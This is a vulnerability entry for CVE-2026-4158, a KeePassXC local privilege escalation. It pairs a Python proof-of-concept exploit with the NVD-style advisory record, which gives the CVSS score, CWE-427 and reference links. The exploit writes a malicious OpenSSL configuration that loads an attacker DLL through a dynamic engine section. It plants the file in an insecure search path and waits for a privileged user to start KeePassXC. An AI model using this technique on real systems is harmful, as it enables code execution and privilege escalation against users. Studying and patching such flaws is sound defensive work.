CVE-2026-4158

# PoC Concept for CVE-2026-4158 # This demonstrates how a malicious configuration could be created. # An attacker would place this file in an unsecured path searched by KeePassXC. import os # Malicious OpenSSL configuration content # This attempts to load a malicious DLL or execute commands malicious_config = """ openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] payload = payload_section [payload_section] engine_id = payload dynamic_path = C:\\Temp\\evil_payload.dll init = 0 """ # Simulate planting the file path_to_drop = "C:\\InsecurePath\\openssl.cnf" with open(path_to_drop, "w") as f: f.write(malicious_config) print(f"[+] Malicious configuration dropped at {path_to_drop}") print("[+] Wait for a privileged user to launch KeePassXC...")

{"cve": {"id": "CVE-2026-4158", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.620", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "KeePassXC OpenSSL Configuration Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of KeePassXC. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of OpenSSL. The product loads configuration from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of KeePassXC when run by a target user on the system. Was ZDI-CAN-29156."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://github.com/keepassxreboot/keepassxc/security/advisories/GHSA-4gr2-cr97-q9fx", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-215/", "source": "[email protected]"}]}}